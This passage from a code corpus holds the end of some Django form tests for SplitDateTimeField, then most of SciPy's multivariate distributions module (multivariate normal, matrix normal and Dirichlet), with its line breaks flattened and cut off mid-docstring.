SplitDateTimeField(input_date_formats=['%d/%m/%Y']) self.assertFalse(f._has_changed(['11/01/2012', '09:18:15'], ['11/01/2012', '09:18:15'])) self.assertTrue(f._has_changed(datetime.datetime(2008, 5, 6, 12, 40, 00), ['2008-05-06', '12:40:00'])) self.assertFalse(f._has_changed(datetime.datetime(2008, 5, 6, 12, 40, 00), ['06/05/2008', '12:40'])) self.assertTrue(f._has_changed(datetime.datetime(2008, 5, 6, 12, 40, 00), ['06/05/2008', '12:41']))
codeparrot/github-code-clean
# # Author: Joris Vankerschaver 2013 # from __future__ import division, print_function, absolute_import import numpy as np import scipy.linalg from scipy.misc import doccer from scipy.special import gammaln, psi, multigammaln from scipy._lib._util import check_random_state __all__ = ['multivariate_normal', 'matrix_normal', 'dirichlet', 'wishart', 'invwishart', 'special_ortho_group', 'ortho_group'] _LOG_2PI = np.log(2 * np.pi) _LOG_2 = np.log(2) _LOG_PI = np.log(np.pi) _doc_random_state = """\ random_state : None or int or np.random.RandomState instance, optional If int or RandomState, use it for drawing the random variates. If None (or np.random), the global np.random state is used. Default is None. """ def _squeeze_output(out): """ Remove single-dimensional entries from array and convert to scalar, if necessary. """ out = out.squeeze() if out.ndim == 0: out = out[()] return out def _eigvalsh_to_eps(spectrum, cond=None, rcond=None): """ Determine which eigenvalues are "small" given the spectrum. This is for compatibility across various linear algebra functions that should agree about whether or not a Hermitian matrix is numerically singular and what is its numerical matrix rank. This is designed to be compatible with scipy.linalg.pinvh. Parameters ---------- spectrum : 1d ndarray Array of eigenvalues of a Hermitian matrix. cond, rcond : float, optional Cutoff for small eigenvalues. Singular values smaller than rcond * largest_eigenvalue are considered zero. If None or -1, suitable machine precision is used. Returns ------- eps : float Magnitude cutoff for numerical negligibility. """ if rcond is not None: cond = rcond if cond in [None, -1]: t = spectrum.dtype.char.lower() factor = {'f': 1E3, 'd': 1E6} cond = factor[t] * np.finfo(t).eps eps = cond * np.max(abs(spectrum)) return eps def _pinv_1d(v, eps=1e-5): """ A helper function for computing the pseudoinverse. Parameters ---------- v : iterable of numbers This may be thought of as a vector of eigenvalues or singular values. eps : float Values with magnitude no greater than eps are considered negligible. Returns ------- v_pinv : 1d float ndarray A vector of pseudo-inverted numbers. """ return np.array([0 if abs(x) <= eps else 1/x for x in v], dtype=float) class _PSD(object): """ Compute coordinated functions of a symmetric positive semidefinite matrix. This class addresses two issues. Firstly it allows the pseudoinverse, the logarithm of the pseudo-determinant, and the rank of the matrix to be computed using one call to eigh instead of three. Secondly it allows these functions to be computed in a way that gives mutually compatible results. All of the functions are computed with a common understanding as to which of the eigenvalues are to be considered negligibly small. The functions are designed to coordinate with scipy.linalg.pinvh() but not necessarily with np.linalg.det() or with np.linalg.matrix_rank(). Parameters ---------- M : array_like Symmetric positive semidefinite matrix (2-D). cond, rcond : float, optional Cutoff for small eigenvalues. Singular values smaller than rcond * largest_eigenvalue are considered zero. If None or -1, suitable machine precision is used. lower : bool, optional Whether the pertinent array data is taken from the lower or upper triangle of M. (Default: lower) check_finite : bool, optional Whether to check that the input matrices contain only finite numbers. Disabling may give a performance gain, but may result in problems (crashes, non-termination) if the inputs do contain infinities or NaNs. allow_singular : bool, optional Whether to allow a singular matrix. (Default: True) Notes ----- The arguments are similar to those of scipy.linalg.pinvh(). """ def __init__(self, M, cond=None, rcond=None, lower=True, check_finite=True, allow_singular=True): # Compute the symmetric eigendecomposition. # Note that eigh takes care of array conversion, chkfinite, # and assertion that the matrix is square. s, u = scipy.linalg.eigh(M, lower=lower, check_finite=check_finite) eps = _eigvalsh_to_eps(s, cond, rcond) if np.min(s) < -eps: raise ValueError('the input matrix must be positive semidefinite') d = s[s > eps] if len(d) < len(s) and not allow_singular: raise np.linalg.LinAlgError('singular matrix') s_pinv = _pinv_1d(s, eps) U = np.multiply(u, np.sqrt(s_pinv)) # Initialize the eagerly precomputed attributes. self.rank = len(d) self.U = U self.log_pdet = np.sum(np.log(d)) # Initialize an attribute to be lazily computed. self._pinv = None @property def pinv(self): if self._pinv is None: self._pinv = np.dot(self.U, self.U.T) return self._pinv class multi_rv_generic(object): """ Class which encapsulates common functionality between all multivariate distributions. """ def __init__(self, seed=None): super(multi_rv_generic, self).__init__() self._random_state = check_random_state(seed) @property def random_state(self): """ Get or set the RandomState object for generating random variates. This can be either None or an existing RandomState object. If None (or np.random), use the RandomState singleton used by np.random. If already a RandomState instance, use it. If an int, use a new RandomState instance seeded with seed. """ return self._random_state @random_state.setter def random_state(self, seed): self._random_state = check_random_state(seed) def _get_random_state(self, random_state): if random_state is not None: return check_random_state(random_state) else: return self._random_state class multi_rv_frozen(object): """ Class which encapsulates common functionality between all frozen multivariate distributions. """ @property def random_state(self): return self._dist._random_state @random_state.setter def random_state(self, seed): self._dist._random_state = check_random_state(seed) _mvn_doc_default_callparams = """\ mean : array_like, optional Mean of the distribution (default zero) cov : array_like, optional Covariance matrix of the distribution (default one) allow_singular : bool, optional Whether to allow a singular covariance matrix. (Default: False) """ _mvn_doc_callparams_note = \ """Setting the parameter `mean` to `None` is equivalent to having `mean` be the zero-vector. The parameter `cov` can be a scalar, in which case the covariance matrix is the identity times that value, a vector of diagonal entries for the covariance matrix, or a two-dimensional array_like. """ _mvn_doc_frozen_callparams = "" _mvn_doc_frozen_callparams_note = \ """See class definition for a detailed description of parameters.""" mvn_docdict_params = { '_mvn_doc_default_callparams': _mvn_doc_default_callparams, '_mvn_doc_callparams_note': _mvn_doc_callparams_note, '_doc_random_state': _doc_random_state } mvn_docdict_noparams = { '_mvn_doc_default_callparams': _mvn_doc_frozen_callparams, '_mvn_doc_callparams_note': _mvn_doc_frozen_callparams_note, '_doc_random_state': _doc_random_state } class multivariate_normal_gen(multi_rv_generic): r""" A multivariate normal random variable. The `mean` keyword specifies the mean. The `cov` keyword specifies the covariance matrix. Methods ------- ``pdf(x, mean=None, cov=1, allow_singular=False)`` Probability density function. ``logpdf(x, mean=None, cov=1, allow_singular=False)`` Log of the probability density function. ``rvs(mean=None, cov=1, size=1, random_state=None)`` Draw random samples from a multivariate normal distribution. ``entropy()`` Compute the differential entropy of the multivariate normal. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. %(_mvn_doc_default_callparams)s %(_doc_random_state)s Alternatively, the object may be called (as a function) to fix the mean and covariance parameters, returning a "frozen" multivariate normal random variable: rv = multivariate_normal(mean=None, cov=1, allow_singular=False) - Frozen object with the same methods but holding the given mean and covariance fixed. Notes ----- %(_mvn_doc_callparams_note)s The covariance matrix `cov` must be a (symmetric) positive semi-definite matrix. The determinant and inverse of `cov` are computed as the pseudo-determinant and pseudo-inverse, respectively, so that `cov` does not need to have full rank. The probability density function for `multivariate_normal` is .. math:: f(x) = \frac{1}{\sqrt{(2 \pi)^k \det \Sigma}} \exp\left( -\frac{1}{2} (x - \mu)^T \Sigma^{-1} (x - \mu) \right), where :math:`\mu` is the mean, :math:`\Sigma` the covariance matrix, and :math:`k` is the dimension of the space where :math:`x` takes values. .. versionadded:: 0.14.0 Examples -------- >>> import matplotlib.pyplot as plt >>> from scipy.stats import multivariate_normal >>> x = np.linspace(0, 5, 10, endpoint=False) >>> y = multivariate_normal.pdf(x, mean=2.5, cov=0.5); y array([ 0.00108914, 0.01033349, 0.05946514, 0.20755375, 0.43939129, 0.56418958, 0.43939129, 0.20755375, 0.05946514, 0.01033349]) >>> fig1 = plt.figure() >>> ax = fig1.add_subplot(111) >>> ax.plot(x, y) The input quantiles can be any shape of array, as long as the last axis labels the components. This allows us for instance to display the frozen pdf for a non-isotropic random variable in 2D as follows: >>> x, y = np.mgrid[-1:1:.01, -1:1:.01] >>> pos = np.dstack((x, y)) >>> rv = multivariate_normal([0.5, -0.2], [[2.0, 0.3], [0.3, 0.5]]) >>> fig2 = plt.figure() >>> ax2 = fig2.add_subplot(111) >>> ax2.contourf(x, y, rv.pdf(pos)) """ def __init__(self, seed=None): super(multivariate_normal_gen, self).__init__(seed) self.__doc__ = doccer.docformat(self.__doc__, mvn_docdict_params) def __call__(self, mean=None, cov=1, allow_singular=False, seed=None): """ Create a frozen multivariate normal distribution. See `multivariate_normal_frozen` for more information. """ return multivariate_normal_frozen(mean, cov, allow_singular=allow_singular, seed=seed) def _process_parameters(self, dim, mean, cov): """ Infer dimensionality from mean or covariance matrix, ensure that mean and covariance are full vector resp. matrix. """ # Try to infer dimensionality if dim is None: if mean is None: if cov is None: dim = 1 else: cov = np.asarray(cov, dtype=float) if cov.ndim < 2: dim = 1 else: dim = cov.shape[0] else: mean = np.asarray(mean, dtype=float) dim = mean.size else: if not np.isscalar(dim): raise ValueError("Dimension of random variable must be a scalar.") # Check input sizes and return full arrays for mean and cov if necessary if mean is None: mean = np.zeros(dim) mean = np.asarray(mean, dtype=float) if cov is None: cov = 1.0 cov = np.asarray(cov, dtype=float) if dim == 1: mean.shape = (1,) cov.shape = (1, 1) if mean.ndim != 1 or mean.shape[0] != dim: raise ValueError("Array 'mean' must be a vector of length %d." % dim) if cov.ndim == 0: cov = cov * np.eye(dim) elif cov.ndim == 1: cov = np.diag(cov) elif cov.ndim == 2 and cov.shape != (dim, dim): rows, cols = cov.shape if rows != cols: msg = ("Array 'cov' must be square if it is two dimensional," " but cov.shape = %s." % str(cov.shape)) else: msg = ("Dimension mismatch: array 'cov' is of shape %s," " but 'mean' is a vector of length %d.") msg = msg % (str(cov.shape), len(mean)) raise ValueError(msg) elif cov.ndim > 2: raise ValueError("Array 'cov' must be at most two-dimensional," " but cov.ndim = %d" % cov.ndim) return dim, mean, cov def _process_quantiles(self, x, dim): """ Adjust quantiles array so that last axis labels the components of each data point. """ x = np.asarray(x, dtype=float) if x.ndim == 0: x = x[np.newaxis] elif x.ndim == 1: if dim == 1: x = x[:, np.newaxis] else: x = x[np.newaxis, :] return x def _logpdf(self, x, mean, prec_U, log_det_cov, rank): """ Parameters ---------- x : ndarray Points at which to evaluate the log of the probability density function mean : ndarray Mean of the distribution prec_U : ndarray A decomposition such that np.dot(prec_U, prec_U.T) is the precision matrix, i.e. inverse of the covariance matrix. log_det_cov : float Logarithm of the determinant of the covariance matrix rank : int Rank of the covariance matrix. Notes ----- As this function does no argument checking, it should not be called directly; use 'logpdf' instead. """ dev = x - mean maha = np.sum(np.square(np.dot(dev, prec_U)), axis=-1) return -0.5 * (rank * _LOG_2PI + log_det_cov + maha) def logpdf(self, x, mean, cov, allow_singular=False): """ Log of the multivariate normal probability density function. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. %(_mvn_doc_default_callparams)s Returns ------- pdf : ndarray Log of the probability density function evaluated at `x` Notes ----- %(_mvn_doc_callparams_note)s """ dim, mean, cov = self._process_parameters(None, mean, cov) x = self._process_quantiles(x, dim) psd = _PSD(cov, allow_singular=allow_singular) out = self._logpdf(x, mean, psd.U, psd.log_pdet, psd.rank) return _squeeze_output(out) def pdf(self, x, mean, cov, allow_singular=False): """ Multivariate normal probability density function. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. %(_mvn_doc_default_callparams)s Returns ------- pdf : ndarray Probability density function evaluated at `x` Notes ----- %(_mvn_doc_callparams_note)s """ dim, mean, cov = self._process_parameters(None, mean, cov) x = self._process_quantiles(x, dim) psd = _PSD(cov, allow_singular=allow_singular) out = np.exp(self._logpdf(x, mean, psd.U, psd.log_pdet, psd.rank)) return _squeeze_output(out) def rvs(self, mean=None, cov=1, size=1, random_state=None): """ Draw random samples from a multivariate normal distribution. Parameters ---------- %(_mvn_doc_default_callparams)s size : integer, optional Number of samples to draw (default 1). %(_doc_random_state)s Returns ------- rvs : ndarray or scalar Random variates of size (`size`, `N`), where `N` is the dimension of the random variable. Notes ----- %(_mvn_doc_callparams_note)s """ dim, mean, cov = self._process_parameters(None, mean, cov) random_state = self._get_random_state(random_state) out = random_state.multivariate_normal(mean, cov, size) return _squeeze_output(out) def entropy(self, mean=None, cov=1): """ Compute the differential entropy of the multivariate normal. Parameters ---------- %(_mvn_doc_default_callparams)s Returns ------- h : scalar Entropy of the multivariate normal distribution Notes ----- %(_mvn_doc_callparams_note)s """ dim, mean, cov = self._process_parameters(None, mean, cov) _, logdet = np.linalg.slogdet(2 * np.pi * np.e * cov) return 0.5 * logdet multivariate_normal = multivariate_normal_gen() class multivariate_normal_frozen(multi_rv_frozen): def __init__(self, mean=None, cov=1, allow_singular=False, seed=None): """ Create a frozen multivariate normal distribution. Parameters ---------- mean : array_like, optional Mean of the distribution (default zero) cov : array_like, optional Covariance matrix of the distribution (default one) allow_singular : bool, optional If this flag is True then tolerate a singular covariance matrix (default False). seed : None or int or np.random.RandomState instance, optional This parameter defines the RandomState object to use for drawing random variates. If None (or np.random), the global np.random state is used. If integer, it is used to seed the local RandomState instance Default is None. Examples -------- When called with the default parameters, this will create a 1D random variable with mean 0 and covariance 1: >>> from scipy.stats import multivariate_normal >>> r = multivariate_normal() >>> r.mean array([ 0.]) >>> r.cov array([[1.]]) """ self._dist = multivariate_normal_gen(seed) self.dim, self.mean, self.cov = self._dist._process_parameters( None, mean, cov) self.cov_info = _PSD(self.cov, allow_singular=allow_singular) def logpdf(self, x): x = self._dist._process_quantiles(x, self.dim) out = self._dist._logpdf(x, self.mean, self.cov_info.U, self.cov_info.log_pdet, self.cov_info.rank) return _squeeze_output(out) def pdf(self, x): return np.exp(self.logpdf(x)) def rvs(self, size=1, random_state=None): return self._dist.rvs(self.mean, self.cov, size, random_state) def entropy(self): """ Computes the differential entropy of the multivariate normal. Returns ------- h : scalar Entropy of the multivariate normal distribution """ log_pdet = self.cov_info.log_pdet rank = self.cov_info.rank return 0.5 * (rank * (_LOG_2PI + 1) + log_pdet) # Set frozen generator docstrings from corresponding docstrings in # multivariate_normal_gen and fill in default strings in class docstrings for name in ['logpdf', 'pdf', 'rvs']: method = multivariate_normal_gen.__dict__[name] method_frozen = multivariate_normal_frozen.__dict__[name] method_frozen.__doc__ = doccer.docformat(method.__doc__, mvn_docdict_noparams) method.__doc__ = doccer.docformat(method.__doc__, mvn_docdict_params) _matnorm_doc_default_callparams = """\ mean : array_like, optional Mean of the distribution (default: `None`) rowcov : array_like, optional Among-row covariance matrix of the distribution (default: `1`) colcov : array_like, optional Among-column covariance matrix of the distribution (default: `1`) """ _matnorm_doc_callparams_note = \ """If `mean` is set to `None` then a matrix of zeros is used for the mean. The dimensions of this matrix are inferred from the shape of `rowcov` and `colcov`, if these are provided, or set to `1` if ambiguous. `rowcov` and `colcov` can be two-dimensional array_likes specifying the covariance matrices directly. Alternatively, a one-dimensional array will be be interpreted as the entries of a diagonal matrix, and a scalar or zero-dimensional array will be interpreted as this value times the identity matrix. """ _matnorm_doc_frozen_callparams = "" _matnorm_doc_frozen_callparams_note = \ """See class definition for a detailed description of parameters.""" matnorm_docdict_params = { '_matnorm_doc_default_callparams': _matnorm_doc_default_callparams, '_matnorm_doc_callparams_note': _matnorm_doc_callparams_note, '_doc_random_state': _doc_random_state } matnorm_docdict_noparams = { '_matnorm_doc_default_callparams': _matnorm_doc_frozen_callparams, '_matnorm_doc_callparams_note': _matnorm_doc_frozen_callparams_note, '_doc_random_state': _doc_random_state } class matrix_normal_gen(multi_rv_generic): r""" A matrix normal random variable. The `mean` keyword specifies the mean. The `rowcov` keyword specifies the among-row covariance matrix. The 'colcov' keyword specifies the among-column covariance matrix. Methods ------- ``pdf(X, mean=None, rowcov=1, colcov=1)`` Probability density function. ``logpdf(X, mean=None, rowcov=1, colcov=1)`` Log of the probability density function. ``rvs(mean=None, rowcov=1, colcov=1, size=1, random_state=None)`` Draw random samples. Parameters ---------- X : array_like Quantiles, with the last two axes of `X` denoting the components. %(_matnorm_doc_default_callparams)s %(_doc_random_state)s Alternatively, the object may be called (as a function) to fix the mean and covariance parameters, returning a "frozen" matrix normal random variable: rv = matrix_normal(mean=None, rowcov=1, colcov=1) - Frozen object with the same methods but holding the given mean and covariance fixed. Notes ----- %(_matnorm_doc_callparams_note)s The covariance matrices specified by `rowcov` and `colcov` must be (symmetric) positive definite. If the samples in `X` are :math:`m \times n`, then `rowcov` must be :math:`m \times m` and `colcov` must be :math:`n \times n`. `mean` must be the same shape as `X`. The probability density function for `matrix_normal` is .. math:: f(X) = (2 \pi)^{-\frac{mn}{2}}|U|^{-\frac{n}{2}} |V|^{-\frac{m}{2}} \exp\left( -\frac{1}{2} \mathrm{Tr}\left[ U^{-1} (X-M) V^{-1} (X-M)^T \right] \right), where :math:`M` is the mean, :math:`U` the among-row covariance matrix, :math:`V` the among-column covariance matrix. The `allow_singular` behaviour of the `multivariate_normal` distribution is not currently supported. Covariance matrices must be full rank. The `matrix_normal` distribution is closely related to the `multivariate_normal` distribution. Specifically, :math:`\mathrm{Vec}(X)` (the vector formed by concatenating the columns of :math:`X`) has a multivariate normal distribution with mean :math:`\mathrm{Vec}(M)` and covariance :math:`V \otimes U` (where :math:`\otimes` is the Kronecker product). Sampling and pdf evaluation are :math:`\mathcal{O}(m^3 + n^3 + m^2 n + m n^2)` for the matrix normal, but :math:`\mathcal{O}(m^3 n^3)` for the equivalent multivariate normal, making this equivalent form algorithmically inefficient. .. versionadded:: 0.17.0 Examples -------- >>> from scipy.stats import matrix_normal >>> M = np.arange(6).reshape(3,2); M array([[0, 1], [2, 3], [4, 5]]) >>> U = np.diag([1,2,3]); U array([[1, 0, 0], [0, 2, 0], [0, 0, 3]]) >>> V = 0.3*np.identity(2); V array([[ 0.3, 0. ], [ 0. , 0.3]]) >>> X = M + 0.1; X array([[ 0.1, 1.1], [ 2.1, 3.1], [ 4.1, 5.1]]) >>> matrix_normal.pdf(X, mean=M, rowcov=U, colcov=V) 0.023410202050005054 >>> # Equivalent multivariate normal >>> from scipy.stats import multivariate_normal >>> vectorised_X = X.T.flatten() >>> equiv_mean = M.T.flatten() >>> equiv_cov = np.kron(V,U) >>> multivariate_normal.pdf(vectorised_X, mean=equiv_mean, cov=equiv_cov) 0.023410202050005054 """ def __init__(self, seed=None): super(matrix_normal_gen, self).__init__(seed) self.__doc__ = doccer.docformat(self.__doc__, matnorm_docdict_params) def __call__(self, mean=None, rowcov=1, colcov=1, seed=None): """ Create a frozen matrix normal distribution. See `matrix_normal_frozen` for more information. """ return matrix_normal_frozen(mean, rowcov, colcov, seed=seed) def _process_parameters(self, mean, rowcov, colcov): """ Infer dimensionality from mean or covariance matrices. Handle defaults. Ensure compatible dimensions. """ # Process mean if mean is not None: mean = np.asarray(mean, dtype=float) meanshape = mean.shape if len(meanshape) != 2: raise ValueError("Array `mean` must be two dimensional.") if np.any(meanshape == 0): raise ValueError("Array `mean` has invalid shape.") # Process among-row covariance rowcov = np.asarray(rowcov, dtype=float) if rowcov.ndim == 0: if mean is not None: rowcov = rowcov * np.identity(meanshape[0]) else: rowcov = rowcov * np.identity(1) elif rowcov.ndim == 1: rowcov = np.diag(rowcov) rowshape = rowcov.shape if len(rowshape) != 2: raise ValueError("`rowcov` must be a scalar or a 2D array.") if rowshape[0] != rowshape[1]: raise ValueError("Array `rowcov` must be square.") if rowshape[0] == 0: raise ValueError("Array `rowcov` has invalid shape.") numrows = rowshape[0] # Process among-column covariance colcov = np.asarray(colcov, dtype=float) if colcov.ndim == 0: if mean is not None: colcov = colcov * np.identity(meanshape[1]) else: colcov = colcov * np.identity(1) elif colcov.ndim == 1: colcov = np.diag(colcov) colshape = colcov.shape if len(colshape) != 2: raise ValueError("`colcov` must be a scalar or a 2D array.") if colshape[0] != colshape[1]: raise ValueError("Array `colcov` must be square.") if colshape[0] == 0: raise ValueError("Array `colcov` has invalid shape.") numcols = colshape[0] # Ensure mean and covariances compatible if mean is not None: if meanshape[0] != numrows: raise ValueError("Arrays `mean` and `rowcov` must have the" "same number of rows.") if meanshape[1] != numcols: raise ValueError("Arrays `mean` and `colcov` must have the" "same number of columns.") else: mean = np.zeros((numrows,numcols)) dims = (numrows, numcols) return dims, mean, rowcov, colcov def _process_quantiles(self, X, dims): """ Adjust quantiles array so that last two axes labels the components of each data point. """ X = np.asarray(X, dtype=float) if X.ndim == 2: X = X[np.newaxis, :] if X.shape[-2:] != dims: raise ValueError("The shape of array `X` is not compatible " "with the distribution parameters.") return X def _logpdf(self, dims, X, mean, row_prec_rt, log_det_rowcov, col_prec_rt, log_det_colcov): """ Parameters ---------- dims : tuple Dimensions of the matrix variates X : ndarray Points at which to evaluate the log of the probability density function mean : ndarray Mean of the distribution row_prec_rt : ndarray A decomposition such that np.dot(row_prec_rt, row_prec_rt.T) is the inverse of the among-row covariance matrix log_det_rowcov : float Logarithm of the determinant of the among-row covariance matrix col_prec_rt : ndarray A decomposition such that np.dot(col_prec_rt, col_prec_rt.T) is the inverse of the among-column covariance matrix log_det_colcov : float Logarithm of the determinant of the among-column covariance matrix Notes ----- As this function does no argument checking, it should not be called directly; use 'logpdf' instead. """ numrows, numcols = dims roll_dev = np.rollaxis(X-mean, axis=-1, start=0) scale_dev = np.tensordot(col_prec_rt.T, np.dot(roll_dev, row_prec_rt), 1) maha = np.sum(np.sum(np.square(scale_dev), axis=-1), axis=0) return -0.5 * (numrows*numcols*_LOG_2PI + numcols*log_det_rowcov + numrows*log_det_colcov + maha) def logpdf(self, X, mean=None, rowcov=1, colcov=1): """ Log of the matrix normal probability density function. Parameters ---------- X : array_like Quantiles, with the last two axes of `X` denoting the components. %(_matnorm_doc_default_callparams)s Returns ------- logpdf : ndarray Log of the probability density function evaluated at `X` Notes ----- %(_matnorm_doc_callparams_note)s """ dims, mean, rowcov, colcov = self._process_parameters(mean, rowcov, colcov) X = self._process_quantiles(X, dims) rowpsd = _PSD(rowcov, allow_singular=False) colpsd = _PSD(colcov, allow_singular=False) out = self._logpdf(dims, X, mean, rowpsd.U, rowpsd.log_pdet, colpsd.U, colpsd.log_pdet) return _squeeze_output(out) def pdf(self, X, mean=None, rowcov=1, colcov=1): """ Matrix normal probability density function. Parameters ---------- X : array_like Quantiles, with the last two axes of `X` denoting the components. %(_matnorm_doc_default_callparams)s Returns ------- pdf : ndarray Probability density function evaluated at `X` Notes ----- %(_matnorm_doc_callparams_note)s """ return np.exp(self.logpdf(X, mean, rowcov, colcov)) def rvs(self, mean=None, rowcov=1, colcov=1, size=1, random_state=None): """ Draw random samples from a matrix normal distribution. Parameters ---------- %(_matnorm_doc_default_callparams)s size : integer, optional Number of samples to draw (default 1). %(_doc_random_state)s Returns ------- rvs : ndarray or scalar Random variates of size (`size`, `dims`), where `dims` is the dimension of the random matrices. Notes ----- %(_matnorm_doc_callparams_note)s """ size = int(size) dims, mean, rowcov, colcov = self._process_parameters(mean, rowcov, colcov) rowchol = scipy.linalg.cholesky(rowcov, lower=True) colchol = scipy.linalg.cholesky(colcov, lower=True) random_state = self._get_random_state(random_state) std_norm = random_state.standard_normal(size=(dims[1],size,dims[0])) roll_rvs = np.tensordot(colchol, np.dot(std_norm, rowchol.T), 1) out = np.rollaxis(roll_rvs.T, axis=1, start=0) + mean[np.newaxis,:,:] if size == 1: #out = np.squeeze(out, axis=0) out = out.reshape(mean.shape) return out matrix_normal = matrix_normal_gen() class matrix_normal_frozen(multi_rv_frozen): def __init__(self, mean=None, rowcov=1, colcov=1, seed=None): """ Create a frozen matrix normal distribution. Parameters ---------- %(_matnorm_doc_default_callparams)s seed : None or int or np.random.RandomState instance, optional If int or RandomState, use it for drawing the random variates. If None (or np.random), the global np.random state is used. Default is None. Examples -------- >>> from scipy.stats import matrix_normal >>> distn = matrix_normal(mean=np.zeros((3,3))) >>> X = distn.rvs(); X array([[-0.02976962, 0.93339138, -0.09663178], [ 0.67405524, 0.28250467, -0.93308929], [-0.31144782, 0.74535536, 1.30412916]]) >>> distn.pdf(X) 2.5160642368346784e-05 >>> distn.logpdf(X) -10.590229595124615 """ self._dist = matrix_normal_gen(seed) self.dims, self.mean, self.rowcov, self.colcov = \ self._dist._process_parameters(mean, rowcov, colcov) self.rowpsd = _PSD(self.rowcov, allow_singular=False) self.colpsd = _PSD(self.colcov, allow_singular=False) def logpdf(self, X): X = self._dist._process_quantiles(X, self.dims) out = self._dist._logpdf(self.dims, X, self.mean, self.rowpsd.U, self.rowpsd.log_pdet, self.colpsd.U, self.colpsd.log_pdet) return _squeeze_output(out) def pdf(self, X): return np.exp(self.logpdf(X)) def rvs(self, size=1, random_state=None): return self._dist.rvs(self.mean, self.rowcov, self.colcov, size, random_state) # Set frozen generator docstrings from corresponding docstrings in # matrix_normal_gen and fill in default strings in class docstrings for name in ['logpdf', 'pdf', 'rvs']: method = matrix_normal_gen.__dict__[name] method_frozen = matrix_normal_frozen.__dict__[name] method_frozen.__doc__ = doccer.docformat(method.__doc__, matnorm_docdict_noparams) method.__doc__ = doccer.docformat(method.__doc__, matnorm_docdict_params) _dirichlet_doc_default_callparams = """\ alpha : array_like The concentration parameters. The number of entries determines the dimensionality of the distribution. """ _dirichlet_doc_frozen_callparams = "" _dirichlet_doc_frozen_callparams_note = \ """See class definition for a detailed description of parameters.""" dirichlet_docdict_params = { '_dirichlet_doc_default_callparams': _dirichlet_doc_default_callparams, '_doc_random_state': _doc_random_state } dirichlet_docdict_noparams = { '_dirichlet_doc_default_callparams': _dirichlet_doc_frozen_callparams, '_doc_random_state': _doc_random_state } def _dirichlet_check_parameters(alpha): alpha = np.asarray(alpha) if np.min(alpha) <= 0: raise ValueError("All parameters must be greater than 0") elif alpha.ndim != 1: raise ValueError("Parameter vector 'a' must be one dimensional, " "but a.shape = %s." % (alpha.shape, )) return alpha def _dirichlet_check_input(alpha, x): x = np.asarray(x) if x.shape[0] + 1 != alpha.shape[0] and x.shape[0] != alpha.shape[0]: raise ValueError("Vector 'x' must have either the same number " "of entries as, or one entry fewer than, " "parameter vector 'a', but alpha.shape = %s " "and x.shape = %s." % (alpha.shape, x.shape)) if x.shape[0] != alpha.shape[0]: xk = np.array([1 - np.sum(x, 0)]) if xk.ndim == 1: x = np.append(x, xk) elif xk.ndim == 2: x = np.vstack((x, xk)) else: raise ValueError("The input must be one dimensional or a two " "dimensional matrix containing the entries.") if np.min(x) <= 0: raise ValueError("Each entry in 'x' must be greater than zero.") if np.max(x) > 1: raise ValueError("Each entry in 'x' must be smaller or equal one.") if (np.abs(np.sum(x, 0) - 1.0) > 10e-10).any(): raise ValueError("The input vector 'x' must lie within the normal " "simplex. but np.sum(x, 0) = %s." % np.sum(x, 0)) return x def _lnB(alpha): r""" Internal helper function to compute the log of the useful quotient .. math:: B(\alpha) = \frac{\prod_{i=1}{K}\Gamma(\alpha_i)}{\Gamma\left(\sum_{i=1}^{K}\alpha_i\right)} Parameters ---------- %(_dirichlet_doc_default_callparams)s Returns ------- B : scalar Helper quotient, internal use only """ return np.sum(gammaln(alpha)) - gammaln(np.sum(alpha)) class dirichlet_gen(multi_rv_generic): r""" A Dirichlet random variable. The `alpha` keyword specifies the concentration parameters of the distribution. .. versionadded:: 0.15.0 Methods ------- ``pdf(x, alpha)`` Probability density function. ``logpdf(x, alpha)`` Log of the probability density function. ``rvs(alpha, size=1, random_state=None)`` Draw random samples from a Dirichlet distribution. ``mean(alpha)`` The mean of the Dirichlet distribution ``var(alpha)`` The variance of the Dirichlet distribution ``entropy(alpha)`` Compute the differential entropy of the multivariate normal. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. %(_dirichlet_doc_default_callparams)s %(_doc_random_state)s Alternatively, the object may be called (as a function) to fix concentration parameters, returning a "frozen" Dirichlet random variable: rv = dirichlet(alpha) - Frozen object with the same methods but holding the given concentration parameters fixed. Notes ----- Each :math:`\alpha` entry must be positive. The distribution has only support on the simplex defined by .. math:: \sum_{i=1}^{K} x_i \le 1 The probability density function for `dirichlet` is .. math:: f(x) = \frac{1}{\mathrm{B}(\boldsymbol\alpha)} \prod_{i=1}^K x_i^{\alpha_i - 1} where .. math:: \mathrm{B}(\boldsymbol\alpha) = \frac{\prod_{i=1}^K \Gamma(\alpha_i)} {\Gamma\bigl(\sum_{i=1}^K \alpha_i\bigr)} and :math:`\boldsymbol\alpha=(\alpha_1,\ldots,\alpha_K)`, the concentration parameters and :math:`K` is the dimension of the space where :math:`x` takes values. Note that the dirichlet interface is somewhat inconsistent. The array returned by the rvs function is transposed with respect to the format expected by the pdf and logpdf. """ def __init__(self, seed=None): super(dirichlet_gen, self).__init__(seed) self.__doc__ = doccer.docformat(self.__doc__, dirichlet_docdict_params) def __call__(self, alpha, seed=None): return dirichlet_frozen(alpha, seed=seed) def _logpdf(self, x, alpha): """ Parameters ---------- x : ndarray Points at which to evaluate the log of the probability density function %(_dirichlet_doc_default_callparams)s Notes ----- As this function does no argument checking, it should not be called directly; use 'logpdf' instead. """ lnB = _lnB(alpha) return - lnB + np.sum((np.log(x.T) * (alpha - 1)).T, 0) def logpdf(self, x, alpha): """ Log of the Dirichlet probability density function. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. %(_dirichlet_doc_default_callparams)s Returns ------- pdf : ndarray Log of the probability density function evaluated at `x`. """ alpha = _dirichlet_check_parameters(alpha) x = _dirichlet_check_input(alpha, x) out = self._logpdf(x, alpha) return _squeeze_output(out) def pdf(self, x, alpha): """ The Dirichlet probability density function. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. %(_dirichlet_doc_default_callparams)s Returns ------- pdf : ndarray The probability density function evaluated at `x`. """ alpha = _dirichlet_check_parameters(alpha) x = _dirichlet_check_input(alpha, x) out = np.exp(self._logpdf(x, alpha)) return _squeeze_output(out) def mean(self, alpha): """ Compute the mean of the dirichlet distribution. Parameters ---------- %(_dirichlet_doc_default_callparams)s Returns ------- mu : scalar Mean of the Dirichlet distribution """ alpha = _dirichlet_check_parameters(alpha) out = alpha / (np.sum(alpha)) return _squeeze_output(out) def var(self, alpha): """ Compute the variance of the dirichlet distribution. Parameters ---------- 